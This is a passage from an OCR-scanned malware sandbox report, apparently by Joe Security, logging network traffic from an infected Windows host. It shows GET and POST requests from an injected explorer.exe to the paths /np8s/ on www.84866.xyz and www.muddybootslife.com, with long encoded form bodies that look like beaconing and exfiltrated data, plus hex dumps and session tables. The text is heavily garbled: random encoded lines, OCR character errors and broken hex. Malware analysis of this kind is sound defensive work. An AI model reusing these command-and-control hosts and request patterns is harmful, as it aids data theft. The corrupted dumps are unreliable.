9gBE(Qj7pKgtFW03-43cpW-pwEJc3XYdDSFzZ2GkSovCDeHtemV9J0ZalAk7Nm7clCbyHsvmeZGGEwB09B18q73mOWH
imMIgM9pOWAPAhlyuFPDSCPOLpKzsWeE4kCtiTQLOKr_Z7HbeP9Yy5ulOt6ZiMstQLAL (law6tcMtud7XyriGPghZw
ESmWD2IneQIqyeNtCTVv2DgPjU5NOG (6wgO_EY1SXm4Z26sPz0AZw3w6b_YRBs1xSjXCvHNVmZgrjxzubXDIXCgyOl
XAM-2wmUKNbhVmES5kbItbACM6tfM4v9e~HONKcEWcSkYw-EUs2AZKPHYwvHy FKfYuxrzEBob6-0ZGoty VUY|L5dikC
NwbzgMyFue(oUYI1ic5VxWzba4DCLsDjmps66EgmRugGaKma6r8MUC1HciU7aW8Jvk5lgmreBY1Ir7NPy3gGo5W7bX
eruAM_uhUWuPHqqRjzXIUEOp4WuOflPiPu5cNR7Ti7IgM8LHSfyPaQoSLOG8vi3gGq456llafLghzWUdC2k1ITmSZr
YAKP9pkInPbZUEHAY6RwL4NZrxI9ZTGNEKOOPFFzKb5adnvSTUGc8XaMQQelJpPBE1IJVATIVUAOugtrYms20QWNIo
(VJAWQeUGiLawojC2yemoyOSV2rN97tl~LbOLSS0q7Q7mHNNKDGz(EnvSQxwJv(FOmfM5zkPnev_Mg70ljCUPILQrQ
J21H6zm1blaXValWXZBweSzNS7MOeKn2YZ4gvJIDtTQn825Bzh-4N3AqvGMIZIfLIXFROChb7IKUAAMVzc3Q7rR3x22
wuvnKhGm5tPTOQLi2DaH~r(_JjjVViIHQYfQp7W6vACJIMolsc90J-iHPXfurE4IGO06Fol~057koA-U12jT6VFoTs2vV
5nK1s1Fvb3AAtP~gmxWkh3dgrW6R2vPX~6PyX0414CyaZaT33ISVTDOMIJUEPXjjrUufCMrwF~h(MUEZr9XWkcZsF~M
~Qzc1MOwge90gAEcshGQIKmM2AO0IsmbBPwkf~j6lljQPdePmBA3-S346sEH12aAksBwUVo4TXOBYRP7xzaBL4eolLrQ
~X0JUUW4nhmKtEGhVG2ufyioY CsiNk62vK7xUmkDFw54agHoP605SPnlugCndAU3(DfRTUNP8rccZ31V0z8PQSRMUU
GXmxN6S-2LLzT9h5tSs4iCyRcdSm5Ez29RG1KILTTBADgA2SezQVO03rT4AMHTXqafloK9i81zhGCj47ay5(wX_4fu2
GTAFygEltw4ISbxacOdc5ZoPD_G_fBttjXmey5yOEtDDT3H5x_or2NvIGbC9BxU2~uCRWn10(7D31jiXql~a8fVbPA
45(ttL5Lay5-cZ1U7NveAKkxms3s2FtWugpKsWEf5ulz9kwjWPyC~BWel_aUtsbvéSks54HaFwOdSecu(JJhDBcUs_
DxmxawdOGkkjhfcCym~zIR3QnOumA02-7Z0yXY4ErPQ9WueqvsxLzdnc~GCVwnhmGpPazdOPC_uyucfd
4Ppzn_YWWHu0YuXHhBZFx_PGlYa935nFRplughgF(X1BXTnDnpRCFGESIDtFWKZYBMUwx_e4ZzJS6EMk
R7YIUfILUSStWWIpfYD3MVrEU8S60MaGJIkO3UQH1(NtZe1CJelQbOhIQVeS1HynBxhzVFRImMALXtfOVKT63hscnbRW
UaF9l_QqK5ISPimssDTzzu4GpCEaB8lb6sOaFedi6gakDorAgt TfbbWOfljX2J38BTH4IDNIMJCELXftF60YwWIYFxn
LPra8PLwwnaO069YBiQzQOkySr6feJ8MGG2xSPH58FMFEHJIZG2nreu4tEmTQzL2cyRTECMWaiAfOkvOoUyp3mrOzI9-
eDzYX9kQhvSWKTjGd70VolLTYwPmMdVVzxdodttGRMTJIYOGnyKpsdG_CIm2jByTaSemcBP2eLrXrEmrselrTWO3Gg
8AXx4DiSA7Aat65HIWB6f6U2TMVRKTEWD3xgm-t_mpDi87C5U1gn6SIScGUjNwy20pWsxucPwP6GoYtAOMGzWn7q(a
PRjlpICk2reQuq7LI4jdGgBpLLUtPXzAZUTUALISYj1fFZBt2WFIHOR6(kaUtaY CFsGwUiyK4r6PkgViiexjakKnvGqCVUrF0v30e
Kq91TWzb8f2g5xgBS8KZAErupex8fnt8zsMjzWSSI6Kx7D(FPlyuXfEaDcl9aAzguDtYiovORE6AStRXBNTRBohF2Y
AMVV2WVL5zPzQNQzgL(k87uhlysYPM1FOxH6CSafaOKvh-AgOv~gYKNPSOxoDV8KHFF2U3TilLfBt16ADPg2noBal6
4KFjZ-iZSRMxvgkIvIRIZe9SIMK-~chzKvBUpIGYlIOWUx4U2RCqfvA~2C2K7fbZDAjX724tazy(dTh343gmnIRSDBG
6mhWEiayX8N4xmuJEfIQEr~44SRgGql-5ZvTsUITCX3WuCXqgstfXx4E-m8LgJKTZdUjtda7-jwtCGSHUywXkbh31ou
BDxiaEVp3JnpL2GKalulJ028hl0jOJvSOZjPfsdArz2_rk~uclTu4hKUGueQf3~b~HnardfISC(BwQdD47TeYSLmNu
F7eOX0AUZIFOK90G2pJyx8yW~VvfYZIISvoaPUxyb57XqgebtT2-gdYcao7dzy2km5gyRzbCQqQQR-x69FSQ8zeQRSrs
aRr7G5fvY9vyFvUvwVcrAXzOtAD_yWtOFcLTPo9V7WawWeMIT5S3gRJI905Hzc5FShBSZRBjkD9nhb_IhgIRO7M8pTt
D3SxdJguLxZ50Y71YjC1lcL-Vdw3yuMV3auDlleb4yrCLg89umYzeF6yluCbWvcgjxOrnhjd5kcglJPDV1w38XaMR-
6UjSEe~WAr26mEhQj56JSTv01yi1x9KdCXASKXaeX97Tlh~U7-DX4jCvg3ld~bl3(R7cObQZCGkcv8ZgeTIYs2uW34
3DDOson6TCAQ53A8kn8i3SMeio Tm8xrQxBvVyXpAfva8WqVtZxCychj-DHzjmbV1V5gQzk8hTN40ZMikgrbyCnRV~a
akrok74RxFiulglXaEM_Pz5R9pDP8tEODXZ3(C48mA5tQP109EH0YgUPveH_jJlYuB3JXHQiQvelMKotUNXW43MiPV
uV1jriZo24Uy32RK3ypIRgA0JQMhumigIhyWiNerdP8XQCJIA~9clyZ(ithSgyYyle7Ibi0S-U1GW29y2mOtdIHVp(n
EWEIPTSaycQavnZ3i9VOm8y60OXE8BUMRY 3FFyCVfMbUh70euP6MOb92RvsHrX1GIOKmxNzf9cl8qTnkWk85~FbH~66q
3ffmxPMNjb76Eux3aXFf(Tth~0XpheJkCIZ00td08o6Rdp21 TcFM3FKLne7fjrpdxH(m

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 16:44:17 GMT

Content-Type: text/html; charset=iso-8859-1

Transfer-Encoding: chunked

Connection: close

CF-Cache-Status: DYNAMIC

Server: cloudflare

CF-RAY: 712036€25f3e6964-FRA

Content-Encoding: gzip

Data Raw: 66 35 0d Oa 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef fe 8a 29 e7 96 85 8a a3 65 a9 25 41 20
a514 55 el d0 a3 c1 5b 6¢ 29 d8 d4 d9 14 e5 ef ab 84 4a 6d af b3 6f 76 67 56 df 15 af cb fa 7d 57 62 5d bf 54 d8 ed 9f ab
cd 12 93 07 a2 4d 59 af 88 8a ba b8 4d 1le a7 33 a2 72 3b 31 4a 7b 39 37 46 7b b6 ce 28 2d 41 1a 36 8b d9 02 db 24 58
ab 2e 3a 4d 37 51 69 1a 21 7d 48 ae 1f 7c 73 f3 87 f1 73 a3 f4 c5 d4 9e 91 f9 b3 e3 56 d8 61 ff 56 el 6a 5b c4 24 f8 18 38
a4 08 f1 al 45 cb f9 8b f3 54 d3 65 b4 3d 39 17 24 a4 68 9b a6 bf 87 c5 bf 00 8a 73 4e 79 5¢ ¢4 f1 98 ba 28 9c d9 el ea
43 ¢390dc 87 78 82 24 74 2d c3 46 94 03 5¢c a4 63 77 €6 28 83 ee 6d 74 03 f8 9b ec e7 2c 8d 45 34 8d 0f 50 df 00 00 00
ff ff 03 00 59 3c e4 fe 3b 01 00 00 Od Oa

Data Ascii: f5TnOD)e%A U[l)JmovgVIWb]TMYM3r;11{97F{(-A6$X.:M7Qil}H|ssVaVj[$8ETe=9$hsNy\(Cx$t-Flcw(mt, E4PY<;

Destination IP Destination Port Process

66.235.200.145 80 C:\Windows\explorer.exe
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kBytes

Timestamp e Direction
May 27, 2022 9771 ouT
18:44:17.667756081
CEST
May 27, 2022 9773 IN
18:44:17.961106062
CEST
Session ID Source IP Source Port
27 192.168.2.5 49941
kByt:
Timestamp yes Direction
transferred
May 27, 2022 9811 ouT
18:44:34.353910923
CEST
May 27, 2022 9850 IN
18:44:34.640470028
CEST
Session ID Source IP Source Port
28 192.168.2.5 49942

Copyright Joe Security LLC 2022

Data

GET /np8s/?zVB=5R3gKgAJtID3s3glssHXeRhFadAM40JIjGTDo+g9ImvY9tNBMPSBarPOG5Bgot7e+72k&CTr8g=
z48HVPSHfp HTTP/1.1

Host: www.muddybootslife.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 16:44:17 GMT

Content-Type: text/html; charset=iso-8859-1

Transfer-Encoding: chunked

Connection: close

CF-Cache-Status: MISS

Server: cloudflare

CF-RAY: 712036e27e819bb3-FRA

Data Raw: 31 33 62 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f
2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e
34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20
6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 70 3e 41 64 64 69 74 69 6f
6e 61 6¢ 6¢ 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74
65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65
6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68
74 6d 6¢ 3e Oa 0d Oa

Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not
Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html|>

Destination IP Destination Port Process
35.241.47.216 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.84866.xyz

Connection: close

Content-Length: 409

Cache-Control: no-cache

Origin: http://www.84866.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.84866.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 45 4e 4a 2d 57 51 48 51 4a 48 42 43 28 31 39 6e 55 34 66 69 76 50 4d 42 45 30 50 56 32 61 7a
4c 34 5f 47 4a 4f 42 47 65 53 4a 6f 6b 71 53 36 42 64 2d 7a 54 50 4f 45 5f 30 6f 67 4e 56 69 76 31 44 32 52 43 5a 67 55
46 3467 76 31 52 71 47 31 6b 54 56 53 68 77 53 79 44 58 6d 32 76 56 67 5f 6¢ 5f 35 53 57 6b 58 6a 68 62 73 6f 7e 52
54 6d 47 44 4a 56 75 4d 48 68 7e 6a 36 6e 65 2d 34 64 47 4c 49 36 62 54 4a 42 52 69 61 5f 41 5a 68 78 64 6a 54 68 73
58 53 61 34 61 4f 56 46 62 68 70 78 44 52 58 61 56 28 39 4f 68 7e 76 62 47 43 46 31 50 6d 68 78 56 6a 6b 4c 4b 4a 45 6f
68 77 32 7556 73 78 6a 57 6a 56 67 79 30 6d 46 6a 61 49 44 6¢ 6¢ 48 6f 32 42 33 31 69 4f 44 6a 50 62 38 69 38 53 49
47 48 4e 51 58 55 69 54 75 43 78 53 46 30 46 73 46 77 44 74 6d 39 48 68 75 52 62 6b 55 59 6d 53 47 6e 36 65 69 32 55
3169 73 57 38 78 41 41 5a 74 50 4a 73 48 39 64 41 30 48 6f 6d 7e 6a 34 45 37 54 6f 72 62 2d 37 6a 73 74 69 75 30 4f
7a 55 64 79 6d 53 64 74 6a 7a 4b 66 32 32 6f 39 44 44 51 4f 35 4f 35 53 68 58 58 4d 43 31 35 51 41 72 51 67 45 4e 74
34 56 66 6e 58 30 46 65 7a 52 59 62 38 37 54 4f 52 72 48 6¢ 76 28 4f 31 4c 77 2d 62 38 75 48 38 52 4f 62 59 6b 6¢ 35 59
4a 7250 70 44 51 48 41 43 72 37 6¢ 45 4a 44 31 67 29 2e 00 00 00 00 00 00 00 00

Data Ascii: zZVB=ENJ-WQHQJHBC(19nU4fivPMBEOPV2azL4_GJOBGeSJokqS6Bd-zTPOE_00ogNVivlD2RCZgUF4g
VIRQG1KTVShwSyDXm2wg_|_5SWkXjhbso~RTmGDJIVUMHh~j6ne-4dGLI6bTIBRia_AZhxdjThsXSa4aOVFbhpxDRX
aV(90h~vbGCF1PmhxVjkLKIEohw2uVsxjWjVgyOmFjalDIIH02B31iODjPb8i8SIGHNQXUiTuCxSFOFsFwDtm9HhuR
bkUYmSGn6ei2U1isW8xAAZtPIsHI9dAOHom~j4E7 Torb-7jstiu00zUdymSdtjzKf2209DDQO505ShXXMC15QArQgEN
t4VinX0FezRYb87TORrHIvV(O1Lw-b8uH8RObYkKI5SYJIrPpDQHACI7IEID1g).

HTTP/1.1 405 Not Allowed

Server: nginx/1.20.2

Date: Fri, 27 May 2022 16:44:34 GMT

Content-Type: text/html

Content-Length: 157

Via: 1.1 google

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d
Oa

Data Ascii: <htmI><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>nginx/1.20.2</center></body></htm|>

Destination IP Destination Port Process

35.241.47.216 80 C:\Windows\explorer.exe
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kBytes

Timestamp e Direction
May 27, 2022 9825 ouT
18:44:34.375361919

CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1
Host: www.84866.xyz
Connection: close
Content-Length: 36477
Cache-Control: no-cache
Origin: http://www.84866.xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.84866.xyz/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 7a 56 42 3d 45 4e 4a 2d 57 53 44 38 55 48 74 62 7a 46 78 45 58 4b 76 32 67 65 38 44 44 45 4c 73 6f 4f 72 55
7239 7a 34 41 67 33 75 54 4d 4e 67 38 69 6d 73 66 4a 7e 4d 50 50 30 53 67 74 51 42 66 53 7a 30 44 79 30 49 5a 67 41
46 3568 48 6¢ 52 4e 4c 67 6¢ 77 39 64 68 51 53 4b 43 58 6d 7a 72 51 34 65 6¢ 5f 4e 6b 57 6b 66 7a 68 4b 51 6f 34 7a
72 6d 52 55 64 65 6a 4d 47 6f 39 6a 71 37 52 65 38 36 47 50 64 76 62 58 42 42 52 53 6d 5f 42 35 39 77 4d 79 54 6d 6¢c 6
e 5354 3961 4f 2d 4d 37 74 62 78 43 6¢ 31 61 51 48 39 4f 54 4b 76 59 79 32 46 79 34 79 69 37 46 6a 6¢ 41 71 4a 46 73
68 4e 6f 75 56 67 39 6a 58 6d 69 67 44 41 6d 55 44 61 4e 55 69 35 2d 69 48 42 5a 33 69 71 30 6a 50 47 6f 6¢ 74 4f 41
47 47 68 34 55 6¢ 79 6f 68 41 49 33 46 33 70 43 48 51 44 70 68 4e 48 2d 75 52 61 5a 55 59 6d 73 47 6e 71 65 69 78 67
31 6a3847386d57 73 65 68 66 49 6d 57 74 64 43 6a 33 6¢ 31 7e 6a 67 36 37 57 68 30 62 4a 4c 6a 74 39 65 75 32 73
72 58 56 69 6e 5a 63 74 6a 72 45 5f 32 35 6f 39 44 74 51 4e 68 65 35 6¢ 4a 58 56 64 43 31 37 44 34 72 57 51 45 4e 30
49 56 6e 6f 33 34 56 65 33 30 52 62 35 66 70 4f 41 6a 48 69 35 7a 4f 31 71 77 2d 63 4d 75 48 33 78 50 66 54 57 34 58
54 35 6e 50 69 43 78 69 57 57 4f 73 6d 67 41 6b 72 46 75 38 54 46 55 35 4f 68 41 36 4f 44 6e 32 73 67 55 64 45 6f 51 32
73733068 7542 42 47 3231 51 57 73 68 37 6b 7e 45 43 36 44 4d 73 76 7a 32 75 48 4f 39 45 4e 68 38 4f 56 4b 30 36
68 32 55 63 38 4c 59 43 6f 75 66 32 33 78 52 33 45 48 6d 65 34 4f 33 47 57 36 58 6a 45 59 4e 5a 34 5a 42 66 4d 52 42
3242 6b 38 4e 5a 31 4b 28 67 30 6f 46 7a 37 39 48 68 65 30 39 66 37 41 33 38 66 36 31 76 50 53 54 64 59 57 6e 41 4a
74 33 42 4e 66 54 5a 35 67 69 57 57 54 68 75 79 69 76 4c 77 4a 69 7a 6¢ 37 77 30 73 78 32 55 55 72 75 39 67 67 74 59
59 44 53 46 56 43 6a 78 48 44 65 42 36 42 4a 41 46 51 6a 49 72 6e 38 5f 4f 4c 71 64 66 58 74 67 48 62 42 393548 74 4
a51345442 4c 39 4a 43 54 7a 70 35 56 74 4a 42 49 4e 37 4a 66 4d 59 74 54 41 47 38 74 63 6e 35 63 77 42 30 70 73
62 53 64 4a 6¢ 6f 28 35 62 71 44 36 7e 6¢ 79 43 28 55 37 51 49 53 6f 45 67 55 31 5f 39 37 45 37 71 44 45 31 37 38 39 53
416957 32675a61316471726e 7765433649 764441 7e 4e 7541 4243 37 72 44 47 3259 36 59 51 50 48 31 4a
63 4a 30 52 4e 42 33 66 6e 58 46 62 42 47 73 55 78 6f 36 46 65 33 64 74 53 61 5f 50 73 4a 52 67 30 36 48 5a 39 6b 5a
67 46 4d 6¢ 5a 63 47 37 31 69 61 4f 33 7a 66 74 57 68 38 4f 6¢ 57 69 46 69 4a 38 70 41 68 4e 4a 72 63 4b 2d 6f 41 67
77 38 3261 39 46 4e 57 77 37 45 47 68 49 47 64 6a 42 55 4c 65 49 44 4b 35 6¢ 34 51 57 4c 62 62 30 6e 79 63 61 46 64
78 5a 73 42 36 64 6a 57 68 2d 55 63 51 69 63 66 43 45 68 4c 66 33 31 39 6¢ 5f 6d 69 4a 58 4a 73 61 6d 7e 57 4a 72 66
62 79 34 4d 4d 34 30 59 75 63 37 7e 31 74 63 76 61 50 54 4c 4d 4c 4b 77 6d 4f 54 59 62 75 59 69 33 56 4b 54 64 43 54
62 45 4f 2d 39 75 30 30 28 54 63 30 57 5a 79 62 4f 46 6e 38 31 6b 7a 45 53 4e 6¢ 76 6a 33 7e 39 67 46 73 4c 63 56 78
45 5a 46 6f 54 32 51 6d 4f 4a 53 53 4f 6f 6e 69 31 70 6a 38 35 53 35 28 4e 57 58 30 42 7a 7a 53 46 69 75 65 47 53 32 78
51 7a 79 37 79 58 49 61 33 41 4b 75 4c 4a 78 34 6f 4b 35 33 63 76 68 6d 6d 5a 5a 34 34 6f 49 7a 72 34 44 50 6e 37 69
6e 35 4f 31 4a 44 69 41 6e 67 55 71 42 67 4d 35 70 38 35 49 76 33 7e 5a 61 35 67 41 48 52 7e 6f 30 50 65 6b 4e 73 57 6
e 3839 77 56 50 65 50 6¢ 74 34 78 66 65 44 63 4b 48 78 35 72 4f 73 74 44 55 78 75 38 79 5a 50 6¢ 64 5a 48 4b 73 54 71
72 7e 4a 41 6a 6e 6d 4d 78 31 66 4a 77 28 7a 7e 58 68 2d 41 47 6a 51 64 4b 77 54 76 4f 4a 74 70 4b 59 44 7e 77 74 45
32 4b 47 59 59 5a 39 5f 65 73 56 71 6f 30 6d 69 28 67 57 74 46 55 70 74 35 64 41 52 79 4f 33 54 46 68 4e 46 32 45 4e
30 70 43 37 45 45 38 49 58 44 57 64 77 41 54 67 48 69 6e 37 51 61 79 7a 45 75 71 6a 30 73 38 44 4f 69 59 68 7a 39 57
6a 54 76 58 28 6a 6f 4e 56 4a 70 4a 41 4d 6e 6f 4e 50 41 74 6e 37 6e 54 68 50 49 63 63 2d 6a 65 59 37 35 55 35 5a 42
5f67 47 5a 63 41 66 50 68 38 75 6b 43 51 4a 4b 4e 42 68 67 50 58 6e 54 64 64 4f 74 52 58 64 41 33 38 61 66 61 62 77
68 65 4c 7a 61 7a 33 2d 46 5f 4c 4b 47 48 4d 35 67 67 33 73 48 59 59 57 65 45 44 65 50 2d 30 43 4f 4f 61
Data Ascii: zZVB=ENJ-WSD8UHthzFxEXKv2ge8DDELsoOrUr9z4Ag3uTMNg8imsfJ~MPP0SgtQBfSz0Dy0IZgAF5h
HIRNLgIw9dhQSKCXmzrQ4el_NkWkfzhKQo4zrmRUdejMG09jq7Re86GPdvbXBBRSm_B59wMyTmInST9a0-M7thxCl1
aQH90TKVYy2Fy4yi7FjlAgJFshNouVg9jXmigDAmUDaNUi5-iHBZ3iq0jPGoltOAGGh4UlyohAI3F3pCHQDphNH-uR
aZUYmsGnaeixg1j8G8mWsehflmWitdCj311~jg67WhObJLjt9eu2srXVinZctjrE_2509DtQNhe5IIXVdC17D4rWQEN
01Vno34Ve30Rb5fpOAjHi5z01qw-cMuH3XPfTW4XT5nPiCxiWWOsmgAkrFu8 TFUSOhA60DN2sgUdE0Q2ss0huBBG21
QWsh7k~EC6DMsvz2uHO9ENh80OVK06h2Uc8LY Couf23xR3EHMe403GW6XJEYNZ4ZBfMRB2Bk8NZ1K(g0o
Fz79Hhe09f7A38f61vPSTdYWnAJt3BNfTZ5giWWThuyivLwJizI7w0sx2UUru9ggtY YDSFVCjxHDeB6BJAFQ)Ir8_
OLqdfXtgHbBI5HtIQ4TBLIICTZp5VEIBIN7IIMYTAG8tcn5cwBOpsbSdJlo(5bgD6~lyC(U7QISoEgUL_97E7qDEL
789SAiIW2gZaldgrnweC6lvDA~NUABC7rDG2Y6YQPH1JcJORNB3fnXFbBGsUxo6Fe3dtSa_PsIJRgO6HZ9kZgFMIZcG7
1ia03zftWh80OIWiFiJ8pAhNJrcK-0Agw82a9FNWw7EGhIGdjBULeIDK514QWLbbOnycaFdxZsB6djWh-UcQicfCEhL
£3191_miJXJIsam~WJIrfboy4AMM40Yuc7~1tcvaPTLMLKwWmMOTYbuYi3VKTdCTbEO-9u00(TcOWZybOFn81kzESNIvj3~9
gFsLcVXEZFoT2QmOJSSOoni1pj85S5(NWX0BzzSFiueGS2xQzy 7yXla3AKuLIx4oK53cvhmmZZ440lzr4DPn7in501
JDiAngUqBgM5p85Iv3~Za5gAHR~00PekNsWn89wV PePlt4xfe DcKHx5rOstDUxu8yZPIdZHKsTar~JAjnmMx1fIw(z~Xh-
AGjQAKWTVOJItpKYD~WtE2KGYYZ9_esVqoOmi(gWtFUpt5dARyO3TFhNF2ENOpC7EESIXDWdwATgHIn7QayzEuq
j0s8DOIYhz9W[TvX(joNVIpJAMNoNPAtn7nThPIcc-jeY75U5ZB_gGZcAfPh8ukCQIKNBhgPXnTddOtRXdA38afabw
hel.zaz3-F_LKGHM5gg3sHYYWeEDeP-0CO0a90dHwIpYD4BPEzthVIEyyWFCzfBbjFCcxVeoHNUd-QgYSgTXQ77u(2
p2e6~0j4ICnxud5UqZ8hSUZGxQOCzI7DJI60UrQTrN52sudhD2zcAOeYgalorOu0hMV8sNDQaxXmdpSvaHzSjvjhtSE
i0j_6BmxhoXWhwA6WsUCcEIw7yfghWRLIp8f58NwoPD1k3etOHnj|~F8tfSCkkSRAfWIFAIGBONWV6I6Y YrM2s5~_th
Yzp_GM2PjzgGepgv3HvHIZPDsZIHe09BFNI4qd3XP84uorlZBLzEfGENNgYLSuRjUBIQHcGuf2Rcf-3WYWLKyGIO5H
(MYs4BSnE_4j(7tLSjZXFR~k4LOxx7x9AtyYaR5vIPzr8RTP1IPX2nBgB9apoV5141zsxQGwngLTSwPhzYiLGUUNOV
xgOQhIZtIRkpu-5vWKeFnAP5TRBIIBLT5cFuPoNm7nbONOvhdqwlLV_EFDeFPh8jMqrPgZ9LjuO083CmD1YEBhXcI3_
VYBMZgOfyvZ-9U9IWa3xixQIZNAWLRVA7N34-LiOpnD9_zERfL90DrbI7Lep4LG9ZMMBABOBEBMwIsRg(-k1LoGz2afX
tglsFdHho06Z9y(1gT669-xveuxZsxO8pdr49h4iXkilf86CI8ikJExJyXRQFmhbpMXn3zIBaUn_jINiHQq7eFhf7P
HXagpq1g8lkkkMYp3HKNXaCSjOMhWX80zjcClyH10Zo_n0elY_p9IWORUdGkszazDyt2kKvBVSFQCOwgMigPRNkxCi
zqzW650FLU~IMeQCsltLrOTBItIRo1v3IpPKT31sgtENUK5AP3Sq7pwqN5FLISQeGZNLEiIKdfTczecnWMAW3XMuzJxp
Co9wYesfd8ieZ8Xi86aS(WKEKPvp4ITB7eeEOcNrO9eZmg3HUfG1cFxoNG5AV-M4Q0ODygkJVjGIFEwXbmARMoosLyb
kbLXe7jc1-HUwWFLSgNev72CfriskCOtFiFBrB9f-t-YZULB4ai~p0Ty6fOYzH5Lyn1sw9ezzF580n85vinFqGtMuRz
WFoz~QD3x5x95UV6a6eCk1DP8DXQA7K1aKgrWIiETgXf6Yz3hy HYzvKmj8RFJIzbzkQbCHNbIVDKH5xkO
~bORIADMWmoWqZurH56G4EGDQtt2x_w6kZtXDUBP1BV2w6MRepgVFPPVK8RPLvd_L3JIncExdBh7gQ9q6
bBpzec3gD8VVJIZulp4rlVTQWRIKpvQjerM8RR1clh_ziieh46CDWzz8RiTdB(YGAH7xz~W10LIFLWaamjFCHouG4~p
0DGz4qu_uiZykfOZnhj4orECmPrBXen8VeKLGVcegFl(ptIKptuZTOwSf5C5evx9rrY~rql4_3hAdE_CiUH1YvDuTFcZha_~-
NB2fKr8HpGzY Or9nUZjWW4HWMKVfs3Ur~tZAptK-gtgsv8zWavu5evigLtHwiWbNpgb5KvgbpR1INfUWEZOD
7ABUw6srH5s26Qsal.gfHroYmYkOreXjSUKNXuQypUBXxidLTA9s0h08TodXuJSWjyTMDmMvHjRsLHCV8ejSD9lu~fAD
Oyuau8T4MhVJIpXQxuflWk6UGOCPY~qZXYCPhJsYwbFqJVLDGREYSNxwcdL6X11(vLIikf-wbfwzk78MOqcNTp4NnOE
h7RCMnOGROTbCAdvhlyGvA9kgkHp5laGYEs6~pV8eLbAB48aFnkVXj97aszSNHQQzGLE9QsPwcY_7IKiknS-SOO_Ix
f_IMvDOWedHQYfCTalF-VPCggtPRLcBNHW7NNOtQFAgGF4xjNsyF4zDVerjd CFFOQ4XH2zGInxOvEUExclof1C8WXG
PUFQ(KIRmMBvCegYnI3S5NFUfPrdrRw~YZtBCQWdYKmN-kNdX6ekNI2iOBOdytV0di4Nj7 TKDE6c1ttOM46PqaiCoBJ
LIANZS|T4-~Eum4c5qY3TFMJItecOcSkXpy6f4bPv1QaW4y4DRsClgajpuxGkTUgzNEqtebhAn3IMXm7W-kCx6GZBQ
KZRzgadtRQ6khLYHVVQN(m9PvpacRutpTisXABVFW627CJACeyKIZV5dEIZPRI2fAYytl4YkX59QIltv1zZ2GwGi5¢c_
J9e3qgXy5DhDmHwWmRT3z16HVDIORNUiIO0cRX9Vg7Hz95~ZmObAEvcCTDbuhTZGx5fAqPw5wzV4UTVJIIU
GDs8MMV6LT3vL6KMHO100CVh5YFIL-IRGGJiaGlkGvwZeBr6Rinwmid20baobiVOhssuODaAEW7ine0U599902LNhk
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Timestam e
P transferred

May 27, 2022 9851
18:44:34.671848059
CEST
Session ID Source IP
29 192.168.2.5

. kBytes
LHILEE transferred
May 27, 2022 9825
18:44:34.393027067
CEST
May 27, 2022 9853
18:44:34.679665089
CEST
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Direction

Source Port

49943

Direction

ouT

Destination IP

35.241.47.216 80

0JjV913RcOW2NOfJJUHRII2uaexIpESQ96Py~koXX8dOhtvhIved(1(AOfUKAQ(fSyMAKSgQLYMVtBjzTnv_Cl6rxg
WFICg361SK90esS9INhi21lbBHRP8z0dw5dFYnlialRgpR1YSv_p318~bM66SPqQ2fDUskNsbmFtFK8arxkdIXQ
h94x5qKst8AGm7V120gBYaWKFagN6OxtGTGyiut5pM31Uh5Ukpwivh5_MWNgBbMPzw30DeNb5QNUz6xQ
